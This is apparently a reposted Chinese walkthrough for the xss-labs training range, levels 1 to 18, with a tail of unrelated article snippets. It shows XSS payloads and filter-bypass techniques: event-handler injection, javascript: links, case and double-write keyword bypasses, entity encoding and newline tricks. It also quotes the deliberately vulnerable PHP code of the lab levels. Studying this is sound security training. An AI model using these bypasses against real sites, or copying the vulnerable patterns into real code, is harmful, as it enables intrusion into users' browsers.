Xss_less靶场攻略(1-18)

xss-lab-less1

ur特殊字符转义

     存在url中 转义符为 %2B& 转义符为 %26空格 转义符为 + 或 %20/ 转义符为 %2F? 转义符为 %3F% 转义符为 %25#转义符为 %23= 转义符为 %3D

img 标签懒加载

在XSS攻击中,img标签的src属性是一个常见的攻击向量,因为它可以用于插入恶意的JavaScript代码。这是因为,当浏览器解析HTML时,它会自动加载img标签中指定的图片,而这个过程中可以执行任意的JavaScript代码。例如,恶意用户可以在img标签的src属性中插入一个JavaScript代码,该代码在图片加载时会被执行,从而导致XSS攻击,伪协议

"a标签"是HTML中的一个标签

用于创建超链接 "javascript:"是一种伪协议,用于在超链接中执行JavaScript代码。在a标签中使用"javascript:"伪协议可以实现一些动态效果

<a href="javascript:alert(/xss/)">touch me</a>   //利用a标签的javascript:伪协议
" ' 还在的话添加事件
< > 被编码那么就不要考虑闭合 尝试添加一些鼠标事件 闭合属性
< > " ' 都被编码的话那么闭合标签或者闭合属性就不行了
观察三处箭头,发现 name=""  的值会回显在页面中,我们将 name重新赋值为我们的xss语句试试看
不知道服务端有没有对其进行过滤
name=<script>alert("你好世界")</script>

成功突破,我们正确的将script的alert语句写入,就会触发window.alert=function() 函数,
从而弹窗启动

xss-lab-less2(闭合input)

  同样和第一天一致 回显位置会在下列,并且是一个input的提交框,通过点击的功能,将输入框内的内容以get方式提交给 服务器上的level2.php

尝试弹窗语句报错,右键源码其中<和>都被编码成了html字符实体。猜测在服务器端用 htmlspecialchars() 函数对 keyword 参数的值进行了处理。 但是它默认不对单引号做编码那么我们可以考虑 添加鼠标事件,但是这个函数不过滤单引号那么防止不了 sql 注入
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:

less2服务端PHP代码 <?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];    // 接收到keyword数据通过变量 $str存储 
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> //  通过htmlspecialchars过滤 $str 
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">  //  此处并没有对语句进行过滤 我们在这里构造进行闭合 "> <script>alert('xss')</script>//  
<input type=submit name=submit value="搜索"/>                                      左边的"> 闭合原先的"               后面的//注释后面的 
</form></center>?>闭合后在服务端的语句echo "<h2 align=center>没有找到和""><script>alert('xss')</script>//"相关的结果.</h2>".'<center>猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。将keyword的参数值重新赋值"><script>alert('xss')</script>//(因为题目的目的就是只要触发了alert函数就可以了) 对vlues的值做了处理 那么我们就不使用就可以了
进行闭合在input标签的添加新的属性值

xss-lab-less3(闭合value 事件焦点on)

和第二关类似,通过get方式传输的值回显到页面,构造弹窗我们再查看报错<script>alert(1)</script>

<h1 align=center>欢迎来到level3</h1><h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>     // 回显将<> 编码成 html字符实体 <form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>                      // 将输入的地方也进行过滤 
<input type=submit name=submit value=搜索 />
</form></center><center><img src=level3.png></center><h3 align=center>payload的长度:25</h3></body></html>服务端PHP代码同样两个回显位置都做处理,我们想一下不通过别输入的语言的输入触发alert函数,使用基于 input的焦点事件onfocus 事件在对象获得焦点时发生。'οnfοcus=javascript:alert('xss') > //&submit=搜索  使用鼠标点击该输入框时输入框被选中可以
输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此当输入框聚焦时就会触发

取巧方式

Xss-lab-less4(同3)

与前面一致同样两处回显,使用get提交

常规使用<script>alert(1)</script>,查看代码看情况发现  value="scriptalert(1)/script"> 确实 并且转义<  > ,没有了
箭头1的尖括号是被转码  箭头2被删除<h1 align=center>欢迎来到level4</h1><h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>     < > 转码    <-----
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert(1)/script">    < > 删除    <---------
<input type=submit name=submit value=搜索 />
</form></center><center><img src=level4.png></center><h3 align=center>payload的长度:21</h3></body>但是时间触发并不需要 < > 我们同样使用less3的构造语句
'οnfοcus=javascript:alert('xss') > //&submit=搜索 

箭头1:将get方式传递到服务器端的keyword参数的值赋给str变量。箭头2和3:将变量中的<和>删除箭头4:对变量进行编码然后显示在页面上箭头5:将去除<和>的变量值插入到<input>标签的value属性值中。str_replace() 函数使用一个字符串替换字符串中的另一些字符。 
箭头2处的替换就是将 $str接收到的值把里面的 > 替换为空 也就是删除了这个字符串<a href="javascript:alert(1)">test</a>

Xss-lab-less5(闭合input a标签触发)

常规两个回显 get传输 回显位一致
常规使用  <script>alert(1)</script> 控制台观察代码

1.  htmlspecialchars()  <> 被编码我们可以使用 less2的方式 先闭合再注释 //
"><script>alert('xss')</script>// 2.输入框的 script 被加入下划线 3. 采用之前的方式进行触发   ?keyword="οnfοcus=javascript:alert('xss')>//

构造的语句也被加入 _ ??? 这里我尝试了新的构造语句 就是闭合input>onfocus=javascript:alert('xss')>//  但是发现这个input的聚焦语句onfocus没有办法单独使用 所以不能直接去闭合但是呢这里的  onfocus 前面加入 " 是因为不需要这个 vlues 来传输值 它本身就是一个独立的属性 这就是去闭合的原因 并且呢闭合vlues后我们输入的值不会在输入框中存在 vlues闭合后为空, 后面的 > 也是重新闭合变成新的语句,担心后面会有误解这里提前写好 并且 转义函数 htmlspecialchars()  是将<> 转化成字符实体,所以我们再在页面上看到的还是正确的 <script> 控制台中的语句才是出现了问题 "onfocus=javascript:alert('xss')>// 并且呢 这个语句也是被错 加上 _  控制台源码显示这样

这里也是对  onfocus 时间进行了防范 我们在外层包裹一个 a 标签尝试"><a href=javascript:alert('xss')>xss</a>//语句分析: ">    "闭合inputvlues属性  >闭合  input标签 <a href=javascript:alert('xss')>xss</a>  组成新的语句 a标签点击触发js语句//  闭合后面的input残余语句  点击后通过

Xss-lab-less6 (大小写)

常规两个位置回显,跟之前题目没有区别。我们尝试 弹窗语句
再去看控制台的闭合情况

控制台语句显示
1.处箭头  < > 转码消失
2.处箭头  加入下划线

我们尝试
"οnfοcus=javascript:alert('xss')"  这里同样报错观察源码的报错语句是加入下划线<input name=keyword  value=""o_nfocus=javascript:alert('xss')>//">尝试less闭合包裹语句  
"> <a href=javascript:alert('xss') > xss</a> //
同样报错加入下划线

我们尝试改成a标签的大小写"> <a HrEF=javascript:alert('xss') > xss</a> //"> <audio  Src=javascript:alert('xss')>xss </audio> //我们这里改动的是<a>标签中的href属性的大小写,而在html中对大小写是不敏感的
点击出现的xss 顺利通过

查看PHP源码的防范 $str = $_GET["keyword"];   // 接收到name keydord的值存储在 $str变量中
$str2=str_replace("<script","<scr_ipt",$str);    // 替换$str字符里面的 script为<scr_ipt> 加入尖括号 <script> </script>这一类的恶意代码
$str3=str_replace("on","o_n",$str2);            // 将替换 < 的新的变量 $str2 再次进行替换 将on 替换为 o_n 这里主要防范的是利用带有on字符的事件来触发恶意代码比如前面用到过的onfocus事件。
$str4=str_replace("src","sr_c",$str3);          // 将替换 on 的新的变量 $str3 再次替换  将src 替换为 sr_c 得提到<img>标签了 <img>标签代码:?name=<img src=111 οnerrοr=alert('xss')>$str5=str_replace("data","da_ta",$str4);       
// 替换以此类推  用字符data进行匹配的,同上面一样该字符在之前的演示中也没有 出现过。现在一般有点XSS意识的管理员都懂得过滤javascript与script等关 键字。但是对于data的认识却并不多,也就很少有对它进行过滤的。
// javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试
// data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=$str6=str_replace("href","hr_ef",$str5);       // 替换以此类推 以看到是用<a> </a>标签中的字符href来进行匹配了,防止的 就是通过在href属性中插入js代码来点击执行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>  // htmlspecialchars() 转义 <  > 为字符实体
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">  // 处理后的字符串再回显到 inpt 输入框

Xss-lab-less7(双写关键字)

进入关卡同样是两个回显位,尝试 <script>alert('xss')</script> 
查看页面回显报错, input的vlues过滤了script 两边都消失

右键查看报错源码
1. htmlspecialchars() 转码字符
2. 过滤了 script

尝试事件触发"onfocus=javascript:alert('xss') //右键源码发现直接 onfocus 中的on 直接被替换删除 并且两个<script> 也消失不见 。如果是这样的话就不需要再继续尝试新的标签了,看看前面的大小写能不能绕过

无法尝试新的标签我们试试大小写绕过过滤 我们构造新的语句"OnFocus=JAvAScRipt:alert('xss')>//同样被过滤 

尝试双写关键字,因为过滤是找了就过滤,但如果我们有两个相同的 那么就会过滤掉一个保留下另一个 从而达到注入"oonnfocus=javascriscriptpt:alert('xss') //
input聚焦后成功注入

查看PHP源码 $str =strtolower( $_GET["keyword"]);  //  strtolower函数将字符全部转换为小写,那么我们的 大小写绕过 就无法完成下面语句将基本的关键字都删除了,但是它只执行了一次 所以可以双写绕过 $str2=str_replace("script","",$str);  // 替换字符 script 为空 那么间接等于删除
$str3=str_replace("on","",$str2);    //  删除 on
$str4=str_replace("src","",$str3);   // 删除 src
$str5=str_replace("data","",$str4);  // 删除 href
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>  // 不做过滤只做转义,所以这里的回显跟 input的回显有区别
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

Xss-lab-less8(编码)

答题方式与之前有些许不同,少了回显位,多了友情连接,并且有了a标签的跳转尝试 js语句 控制台查看报错  
<script>alert(1)</script>

箭头1处 只是转义 < > 但是在页面上的input中的值还是没有改变的 
箭头2处 过滤语句添加了下划线

尝试 input 事件聚焦函数"onfocus=javascript:alert('xss')>//用于闭合 vlues 的双引号也对转码成 &quot  且被加入下划线   ()双写关键字 --- 但是此处不适用因为没有对关键字进行删除只是加入_下划线进行的过滤 如果删除了 关键字那么我们就可以进行 双写 参考 less7 
"oonnfocus=javascriscriptpt:alert('xss')>//
我们将提交的 js代码进行编码javascript:alert('xss')
将弹窗代码从ASCli转换成Unicode编码即可

查看PHP源码 $str = strtolower($_GET["keyword"]);     strtolower 转换成小写
$str2=str_replace("script","scr_ipt",$str); 
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);   将闭合的 " 转换成字符实体  &quot

Xss-lab-less9 (语句编码)

input标签一处回显 并且呢我们点击友情链接a 不是出现我们的字符串 而是链接不合法<input name=keyword  value="22222">
<input type=submit name=submit value=添加友情链接 />
</form></center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>猜测这里可能对url地址做了匹配。只有包含正常的url地址才能添加到href属性值中

构造一个有正常 url地址的恶意代码,只要存在正确的url地址那么就会插入到a标签中javascript:alert('xss')http://www.baidu.com语句虽然正确插入但是在js下方加入了下划线存在尝试大小写绕过也是不行 肯定是将字符串通过strtolower() 函数 转换为小写
这里的属性并没有删除 只是被加入东西 所以我们的双写关键字不适用尝试input聚焦 "onfocus=javascript:alert('xss')http://www.baidu.com> //&submit=搜索 
虽然是成功的写入但是还是将字符进行转码 与less8类似 

尝试将js语句进行编码 javascript:alert('xss')http://www.baidu.com&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;http://www.baidu.com成功的注入到了,a链接中但还是没有弹窗因为你还得在js代码和url中间加上一个//才行<input name=keyword  value="&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#120;&amp;#115;&amp;#115;&amp;#39;&amp;#41;http://www.baidu.com">
<input type=submit name=submit value=添加友情链接 />
</form></center><center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;http://www.baidu.com">友情链接</a></center><center><i----------------------------------------------重新构造语句 
在链接前面加入 // 就成功判断到我们的链接 我们的语句就可以成功的插入进去javascript:alert('xss')//http://www.baidu.com&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://www.baidu.com

查看PHP源码 $str = strtolower($_GET["keyword"]);                        转化小写
$str2=str_replace("script","scr_ipt",$str);                 过滤script  不能直接写入<script>
$str3=str_replace("on","o_n",$str2);                        过滤on聚焦
$str4=str_replace("src","sr_c",$str3);                      过滤src导致img无法使用
$str5=str_replace("data","da_ta",$str4);                    过滤data
$str6=str_replace("href","hr_ef",$str5);                    过滤a标签的href
$str7=str_replace('"','&quot',$str6);                       过滤闭合 " 双引号为空
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form></center>';
?>
<?php
if(false===strpos($str7,'http://'))   strpos() 查看 $str7字符串变量第一次出现的位置 是否存在 http:// 有效的地址链接 如果没有的话则运行链接不合法 有则把字符串加入到a标签中点击
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

Xss-lab-less10 (&=标签突破)

查看第十关的页面源代码 发现是有 3个隐藏标签<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">页面没有输入框请求 我们在ur地址进行输入

常规使用我们的 查看页面回显 尖括号被编码

但这里存在三个标签 我们通过连接 & 符号来进行突破

?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"type: 定义输入框的是什么类型 有单选啊 复选啊 这里我们是text也就是输入框,为属性添加上输入框属性看那个标签会被突破hidden: 赋值在type在等于隐藏这个输入框

我们利用上面的代码突破发现 会将t_sort属性暴露出来,我们继续构造下面语句,更改属性为text 并且赋值点击事件?keyword=&t_sort=" type="text" οnclick="alert('xss')出现输入框后这种语句也可以进行只需闭合inputvlues值即可"οnfοcus=javascript:alert('xss') type="text">//

源码: $str = $_GET["keyword"];   // 接收到keyword的值拿 $str存储 
$str11 = $_GET["t_sort"];  // 接收到 namet_sort的输入框标签 
$str22=str_replace(">","",$str11);   //$str11的尖括号做处理 替换为空 
$str33=str_replace("<","",$str22);   // 对值进行二次处理 
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> 
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">   // 处理后的值给到input标签 

Xss-lab-less11

less10,同样有着隐藏标签,我们使用 & 连接进行突破 ?keyword=good job!&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text将每个输入框都加入 typetext属性,发现了第三个出现问题,双引号被编码成字符实体,并且没有出现输入框 打不进去但是t_sort还是正常的接受参数只是被编码 那么她不显示出现的话我们 把"进行编码看看是否会被过滤?keyword=good job!&t_sort=&#34;type=&#34;text&#34; 等价与 &t_sort="type = "text发现还是无济于事甚至编码直接不会显示
<input name="t_sort"  value="&quot;" type="hidden">

进行抓包分析


Xss-lab-less15(ng-include包含文件)

html代码是body标签包裹着span并且span加入了class选择器,提交的参数值被加入到了classng-includeangular js中的东西,其作用相当于phpinclude函数。这里就是将1.gif这个文件给包含进来。 用法:1ng-include 指令用于包含外部的 HTML文件。2、包含的内容将作为指定元素的子节点。3ng-include 属性的值可以是一个表达式,返回一个文件名。4、默认情况下,包含的文件需要包含在同一个域名下。注意:1.ng-include,如果单纯指定地址,必须要加引号2.ng-include,加载外部htmlscript标签中的内容不执行3.ng-include,加载外部html中含有style标签样式可以识别<body><span class="ng-include:1.gif"></span></body>

"οnclick="alert(1) 这里尝试闭合class属性会被转码成字符实体,不能闭合的情况下只能尝试编码
&#34;&#111;&#110;&#99;&#108;&#105;&#99;&#107;&#61;&#34;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; 根据添加不上我们查看PHP源码$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';  // 只是对文件做了字符实体
?>既然ng-include,这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件,所以这里的ng-include的地方不是拿来包含语句的
是来包含文件来闭合然后才来xss利用一个文件去闭合前面 然后加入新的标签进行xss?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'      onerror:发生错误时触发 强制写错然后成功 

Xss-lab-less16 (换行绕过)

get输入的值会加入的语句会到center中,回显在桌面0x0
<h1 align=center>欢迎来到level16</h1><center>123</center><center><img src=level16.png></center><h3 align=center>payload的长度:3</h3></body></html>0x1想通过在center中加入标签方式进行点击但是a标签被替换 空格被替换为 &nbsp 并且script替换被空格<center><ahref=java&nbsp;:alert('xss')>xss<&nbsp;a></center><center><img src=level16.png></center>

查看源码 将script /  空格 全部替换为字符实体空格$str = strtolower($_GET["keyword"]);  
$str2=str_replace("script","&nbsp;",$str); 
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("  ","&nbsp;",$str4);
echo "<center>".$str5."</center>";但没有对双引号做处理,我们需要一个不需要闭合的标签img 给属性src给到不存在的地址那么就会报错 利用到onerror事件真的妙
虽然过滤空格但没有过滤回车我们将回车编码里面的代码也会换行 自然而然就不会贴在一起  回车编码:%0a 
<img
src="111"
οnerrοr=alert(‘xss’)
>

Xss-lab-less17 (swf)

less17离谱的点击直接可以进入下一关,但我们肯定是要找到它的缺陷
审计发现html中的embed标签没有显示出来

arg01跟arg02是相互对应上的,<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合 直接就是src = -----------------------
尝试<script>弹窗  发现我们的尖括号<> 都被撞成了字符实体,那么我们尝试闭合也是不行的<script>alert(1)</script>这里应该被htmlspecialchars()处理了 把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体

这里的 a=b 这两个值我们不需要在这里处理的,我们等到embed标签出现后,我们不考虑这个闭合 在其后面加入点击事件即可
但是这里的embed的图片没有显示出来 我就强制加入标签在这里处理了点击页面响应中显示该swf文件区域的时候成功弹窗  onclick="alert(1)" 事件触发包括别的事件也是可以的onmouseover:(表示当鼠标移动到该标签上时就会触发执行某项动作)

在服务器端上传的两个参数的值都用htmlspecialchars()函数进行了处理 echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; 
?><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

Xss-lab-less18(同17)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/884540.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity humanoid 模型头发动画失效问题

在上一篇【Unity实战笔记】第二十二 提到humanoid 模型会使原先的头发动画失效&#xff0c;如下图所示&#xff1a; 头发摆动的是generic模型和动画&#xff0c;不动的是humanoid模型和动画 一开始我是尝试过在模型Optimize Game objects手动添加缺失的头发骨骼的&#xff0c;奈…

基于MATLAB的战术手势识别

手势识别的研究起步于20世纪末&#xff0c;由于计算机技术的发展&#xff0c;特别是近年来虚拟现实技术的发展&#xff0c;手势识别的研究也到达一个新的高度。熵分析法是韩国的李金石、李振恩等人通过从背景复杂的视频数据中分割出人的手势形状&#xff0c;然后计算手型的质心…

CSS学习之Grid网格布局基本概念、容器属性

网格布局 网格布局&#xff08;Grid&#xff09;是将网页划分成一个个网格单元&#xff0c;可任意组合不同的网格&#xff0c;轻松实现各种布局效果&#xff0c;也是目前CSS中最强大布局方案&#xff0c;比Flex更强大。 基本概念 容器和项目 当一个 HTML 元素将 display 属性…

Yelp 数据集进行用户画像, 使用聚类做推荐

使用 Yelp 数据集进行用户画像&#xff08;User Profiling&#xff09;是一项有趣的任务&#xff0c;可以理解用户的偏好、行为和特征。以下是总结的一个基本的步骤&#xff0c;帮助构建用户画像 pandas 加载数据&#xff1a; import pandas as pd# 加载数据 users pd.read_…

JAVA题目笔记(十) 带有继承结构的JavaBean类

一、创建带有继承结构的标准JavaBean类(1) public class Worker {private String name;private int workid;private int salary;public Worker(){}public Worker(String name,int workid,int payment){this.namename;this.salarypayment;this.workidworkid;}public void eat(){…

keepalive+mysql8双主

1.概述 利用keepalived实现Mysql数据库的高可用&#xff0c;KeepalivedMysql双主来实现MYSQL-HA&#xff0c;我们必须保证两台Mysql数据库的数据完全一致&#xff0c;实现方法是两台Mysql互为主从关系&#xff0c;通过keepalived配置VIP&#xff0c;实现当其中的一台Mysql数据库…

【C++笔记】容器适配器及deque和仿函数

【C笔记】容器适配器及deque和仿函数 &#x1f525;个人主页&#xff1a;大白的编程日记 &#x1f525;专栏&#xff1a;C笔记 文章目录 【C笔记】容器适配器及deque和仿函数前言一.容器适配器1.1什么是容器适配器1.2 STL标准库中stack和queue的底层结构 二.stack2.1stack类模…

centos7.X zabbix监控参数以及邮件报警和钉钉报警

1&#xff1a;zabbix安装 1.1 zabbix 环境要求 硬件配置: 2个CPU核心, 4G 内存, 50G 硬盘&#xff08;最低&#xff09; 操作系统: Linux centos7.2 x86_64 Python 2.7.x Mariadb Server ≥ 5.5.56 httpd-2.4.6-93.el7.centos.x86_64 PHP 5.4.161.2 zabbix安装版本 [rootnod…

基于向量检索的RAG大模型

一、什么是向量 向量是一种有大小和方向的数学对象。它可以表示为从一个点到另一个点的有向线段。例如&#xff0c;二维空间中的向量可以表示为 (&#x1d465;,&#x1d466;) &#xff0c;表示从原点 (0,0)到点 (&#x1d465;,&#x1d466;)的有向线段。 1.1、文本向量 1…

串口屏控制的自动滑轨(未完工)

序言 疫情期间自己制作了一个自动滑轨&#xff0c;基于无线遥控的&#xff0c;但是整体太大了&#xff0c;非常不方便携带&#xff0c;所以重新设计了一个新的&#xff0c;以2020铝型材做导轨的滑轨&#xff0c;目前2020做滑轨已经很成熟了&#xff0c;配件也都非常便宜&#x…

如何使用Get进行状态管理

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 相关组件3. 示例代码4. 内容总结我们在上一章回中介绍了"使用get进行依赖管理"相关的内容,本章回中将介绍如何使用get进行状态管理一.闲话休提,让我们一起Talk Flutter吧。 1. 概念介绍 在Flutter开发中状态管理…

计算机视觉常用数据集Cityscapes的介绍、下载、转为YOLO格式进行训练

我在寻找Cityscapes数据集的时候花了一番功夫&#xff0c;因为官网下载需要用公司或学校邮箱邮箱注册账号&#xff0c;等待审核通过后才能进行下载数据集。并且一开始我也并不了解Cityscapes的格式和内容是什么样的&#xff0c;现在我弄明白后写下这篇文章&#xff0c;用于记录…

033_Structure_Static_In_Matlab求解结构静力学问题两套方法

结构静力学问题 静力学问现在是已经很简单的问题&#xff0c;在材料各向同性的情况下&#xff0c;对于弹性固体材料&#xff0c;很容易通过有限元求解。特别是线弹性问题&#xff0c;方程的矩阵形式可以很容易的写出&#xff08;准确得说是很容易通过有限元表达&#xff09;&a…

rnn/lstm 项目实战

tip:本项目用到的数据和代码在https://pan.baidu.com/s/1Cw6OSSWJevSv7T1ouk4B6Q?pwdz6w2 1. RNN : 预测股价 任务&#xff1a;基于zgpa_train.csv数据,建立RNN模型,预测股价 1.完成数据预处理&#xff0c;将序列数据转化为可用于RNN输入的数据 2.对新数据zgpa_test.csv进…

jenkins 构建报错 mvn: command not found

首先安装过 maven&#xff0c;并且配置过环境变量 win r ,输入 cmd 键入 mvn -v 出现上图输出&#xff0c;则证明安装成功。 原因 jenkins 没有 maven 配置全局属性, 导致无法找到 mvn 命令。 解决方案 找到全局属性&#xff0c;点击新增&#xff0c;配置 MAVEN_HOME 路…

轮廓图【HTML+CSS+JavaScript】

给大家分享一个很好看的轮播图&#xff0c;这个也是之前看到别人写的效果感觉很好看&#xff0c;所以后面也自己实现了一下&#xff0c;在这里分享给大家&#xff0c;希望大家也可以有所收获 轮播图效果&#xff1a; 视频效果有点浑浊&#xff0c;大家凑合着看&#xff0c;大家…

ChatGPT变AI搜索引擎!以后还需要谷歌吗?

前言 在北京时间11月1日凌晨&#xff0c;正值ChatGPT两岁生日之际&#xff0c;OpenAI宣布推出最新的人工智能搜索体验&#xff01;具备实时网络功能&#xff01;与 Google 展开直接竞争。 ChatGPT搜索的推出标志着ChatGPT成功消除了即时信息这一最后的短板。 这项新功能可供 …

Netty 组件介绍 - ByteBuf

直接内存&堆内存 ByteBuf buffer ByteBufAllocator.DEFAULT.heapBuffer(10);ByteBuf byteBuf ByteBufAllocator.DEFAULT.directBuffer(10); 组成 ByteBuf维护了两个不同的索引&#xff0c;一个用于读取&#xff0c;一个用于写入。 写入 内存回收 堆内存使用的是JVM内…

都快2025年了,来看看哪个编程语言才是时下热门吧

早上好啊&#xff0c;大佬们&#xff0c;今天咱们不讲知识&#xff0c;今天我们来看看时下热门的编程语言都是哪些&#xff0c;大佬们又都是在学哪些语言呢。 最近一些朋友和我在讨论哪个编程语言是现在 最好用 最厉害 的编程语言。 有人说&#xff0c;Python简单好用&#xf…

【雷达信号数据集】雷达脉冲活动分段的多级学习算法【附下载链接】

摘要 无线电信号识别是电子战中的一项重要功能。电子战系统需要精确识别和定位雷达脉冲活动&#xff0c;以产生有效的对抗措施。尽管这些任务很重要&#xff0c;但基于深度学习的雷达脉冲活动识别方法在很大程度上仍未得到充分探索。虽然之前已经探索了用于雷达调制识别的深度…